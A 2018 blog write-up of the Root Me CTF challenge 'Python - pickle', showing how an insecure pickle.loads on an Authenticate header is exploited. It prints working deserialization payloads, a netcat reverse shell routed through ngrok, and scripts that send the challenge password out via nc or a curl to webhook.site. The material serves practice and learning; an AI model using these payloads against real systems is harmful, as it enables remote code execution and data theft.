martedì 6 novembre 2018

RootMe - CTF App Security - Python - pickle

I'm considering seriously the CTF topic, it is so funny but I need to learn more and more.

A good choice to start learning is


Root Me allows us to practice with a lot of challenges, classified in arguments: App - Script, App - System, Cracking, Cryptanalysis, Forensic, Network, Programming, Realist, Steganography, Web - Client, Web - Server.

Let's start with the first category: App - Script.

The sixth challenge that we face is: Python - pickle:

Vulnerability type:
  • Vulnerability Exploitation by pickle Python module

##################################################

The challenge gives you some information:
  • Host: challenge02.root-me.org
  • Protocol: TCP
  • Port: 60005
For first, let's try to connect to the host by HTTP protocol by using our browser by typing: challenge02.root-me.org:60005 or by opening a terminal and typing:
  • curl challenge02.root-me.org:60005
We will get the response:
{"result": "Not allowed you should first AUTH"}
We get already the first hint. This string is telling us to use the HTTP AUTH request.

To do this, open terminal and connect to the target system by netcat:
  • nc challenge02.root-me.org 60005
We press Enter, then we should insert the AUTH request. I remember you that we can only send one HTTP request:
  • AUTH dummy HTTP/1.0 
or
  • AUTH dummy HTTP/1.1
click Enter two times. We get: 

{"result": "unknown user group: DUMMY"}

It means that we must insert the correct user group. The track of the challenge says that we should connect as admin so try this:
  • nc challenge02.root-me.org 60005
  • AUTH admin HTTP/1.1
Press Enter two times. We get:

 {"result": "Can't find 'Authenticate' header"}

The output gives us another hint: we should insert a string for Authenticate header. So, since we don't know what we should insert, let's try:
  • nc challenge02.root-me.org 60005
  • AUTH admin HTTP/1.1 
  • Authenticate:blablabla
and press Enter two times. We get:

 {"result": "Authentication failed = Traceback (most recent call last):\n  File \"/challenge/app-script/ch5/ch5\", line 52, in do_AUTH\n    authcombi = pickle.loads(base64.b64decode(self.headers.getheader('Authenticate')))\n  File \"/usr/lib/python2.7/base64.py\", line 76, in b64decode\n    raise TypeError(msg)\nTypeError: Incorrect padding\n"}

Here we understand that the pickle module is used. We understand also that the string that we insert for Authenticate is the input of the pickle.loads() where we can inject our command.
Reading the documentation about Python Pickle, pickle.loads() takes as input a pickled (serialized) object. We can pickle objects (like strings) by using the pickle.dumps() function. From the error above, we understand also that in our case, the input pickled string should be encoded as Base64.

Generally, in order to pickle and unpickle the objects correctly, we need to make, inside a python script, a class with a __reduce__(self) method (at the end I give you some source about this for better understanding).

In our case, we need to make a python script in order to pickle our string and, then, generate the Base64 encoded one. In this example (found on the web) it is used the cPickle library but you can import also the pickle library.
#!/usr/bin/python 
 
import cPickle 
import sys 
import base64 

CMD = "yourBASTARDcommand"

 
class PickleObject(object): 
  def __reduce__(self): 
    import os 
    return (os.system,(CMD,)) 


print base64.b64encode(cPickle.dumps(PickleObject()))
If you execute this python script, you will get your BAST*** Base64 encoded command <3. This resulting string will be what we insert for Authenticate header during our HTTP request.
But the problem now is: ok, I inject a command, i.e. ls -la... When I inject this command, the target system will perform it but the output remains on IT! We need to find a way to redirect that output from the target system to our machine.
I thought a solution: expose our machine on Internet, make a listener on our machine and make sure that the target system will connect to our machine.
We do this by ngrok and netcat. So download ngrok and follow the instruction on the website to install it and to get the key to unlock the tcp connection functionality (you need only to register by using your email then you will get the key on the dashboard of ngrok website). Then, go to the ngrok executable location and expose our machine on the webbbbbe:
  • ./ngrok tcp 1337
and press Enter. At this point, if your Session Status results as online, look for Forwarding and copy the tcp link (i.e. 0.tcp.ngrok.io:#####, where ##### is a number). It means that if someone connects to that link, it will be redirect to your machine at the 1337 port. We use this tcp link inside our command to be injected.
But now we need to make a listener on the 1337 for the reason above. We use netcat:
  • nc -lp 1337 -vvv
and press Enter. Now we are listening anything on 1337 port. Now we make sure that the target system connects to our machine.
For first, open another terminal. Inside the python script above the following command:
nc 0.tcp.ngrok.io ##### -e /bin/bash
in order to open a shell on the target machine and perform what you desire. You can also insert directly other commands to get directly the content of .passwd.
Anyway your script will be:
#!/usr/bin/python 
 
import cPickle 
import sys 
import base64 

CMD = "nc 0.tcp.ngrok.io ##### -e /bin/bash"

 
class PickleObject(object): 
  def __reduce__(self): 
    import os 
    return (os.system,(CMD,)) 


print base64.b64encode(cPickle.dumps(PickleObject())) 
Save and execute. You will get a Base64 string. Copy by CTRL-C then open a terminal and type:
  • nc challenge02.root-me.org 60005
  • AUTH admin HTTP/1.1
  • Authenticate:[insert here the Base64 string]
press Enter two times. At this point, come back to the terminal of the listener and you will see the message:

connect to [127.0.0.1] from localhost [127.0.0.1] [a-number]

At this point, it means that the /bin/bash command has been unpickled and executed on the target machine, so, by using the listener terminal, you can give any command you prefer, for example if you try ls -la, you will get the content of the root directory of the target system.

Where is the solution? You can know that by reading the error that we got at the beginning about the Authenticate header or you can find it simply by typing:
  • find / -name ".passwd"
  • cat challenge/app-script/ch5/ch5


Useful links:

###############################

Other solutions (not mine):
  1. Inside the injected command in the script, use: os.system, (('cat /challenge/app-script/ch5/.passwd >&4'))),) where the ’4’ in the ’>&4’ part was found by trial and error. It is the file descriptor that is associated with the HTTP response stream. 0, 1 and 2 are the standard unix process IO streams. So I started at ’3’ and moved up till I saw the output in the response. You will get the solution when you pass the Base64 encoded command to the Authenticate header. (source:root-me.org)
  2. Another interesting solution is written in this python script:
    from pwny import *
    
    def socket_hunter():
        import inspect, socket, subprocess
        frame = inspect.currentframe().f_back
        greeting = 'Found %r (%r), enjoy your shell!\n'
        while frame:
            for key, value in frame.f_locals.items():
                if hasattr(value, 'sendall'):
                    value.sendall((greeting % (key, value)).encode('ascii'))
                    return subprocess.call(['/bin/sh'], stdin=value, stdout=value)
    
            self = frame.f_locals.get('self')
            if self is not None:
                for key, value in vars(self).items():
                    if hasattr(value, 'sendall'):
                        value.sendall((greeting % (key, value)).encode('ascii'))
                        return subprocess.call(['/bin/sh'], stdin=value, stdout=value, stderr=value)
    
            frame = frame.f_back
    
    f = Flow.connect_tcp('challenge02.root-me.org', 60005)
    f.writeline('AUTH admin HTTP/1.0')
    f.writeline('Authenticate: %s' % enb64(pickle_func(socket_hunter, protocol=2, target=27)))
    f.writeline()
    f.interact()
    then, run the script and at the 'enjoy your shell' message, you can submit any command you prefer.
  3. Set up a listener on your machine by nc -lvp 1337.
    Then, on another terminal run the following python script:
    import pickle
    import socket
    import os
    import base64                                                
    
    class exploit(object):
        def __reduce__(self):
           comm = "cat /challenge/app-script/ch5/.passwd | nc -q 1 localhost 8090" #Command to unpickle and execute
           return (os.system, (comm,))
    
    payload = base64.b64encode(pickle.dumps(exploit()))
    
    http="AUTH admin HTTP/1.1\r\nAuthenticate: "+payload+"\r\nContent-Length: 0\r\n\r\n" #Create the HTTP request
    
    #Set up the socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(1)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.connect(("challenge02.root-me.org", 60005))
    s.send(http) #Send the HTTP request
    #Receive data and close
    data = (s.recv(1000000))
    print data
    s.shutdown(1)
    s.close()
    print 'Received', repr(data)
    The HTTP response will be 200 OK and the content of .passwd will be printed out on the listener.
  4. Go to webhook.site and create your URL. On top-right click on Copy to copy your webhook link and paste it inside the script below replacing the existing webhook link but remaining ?pass= argument.
    #!/usr/bin/python
    import cPickle
    import httplib
    import urllib
    import os,base64
         
    class payload(object):
            def __reduce__(self):
               comm="curl https://webhook.site/a8108d2f-5d35-410bdsadrandomchar-b632-48c633c5894b?pass=$(cat /challenge/app-script/ch5/.passwd)"
               return (os.system, (comm,))
         
    payload = base64.b64encode(cPickle.dumps(payload()))
    print payload
    host = "challenge02.root-me.org"
    port = 60005
    webservice = httplib.HTTPConnection(host, port)
    webservice.putrequest("AUTH", "admin")
    webservice.putheader("Authenticate", payload)
    webservice.endheaders()
    webservice.send(payload)
    response = webservice.getresponse()
    print response.read(4096)
    Then, run this script.
    You will get an error, but if you connect to your webhook.site page, you will see the solution at the section Query strings at argument pass.

Nessun commento:

Posta un commento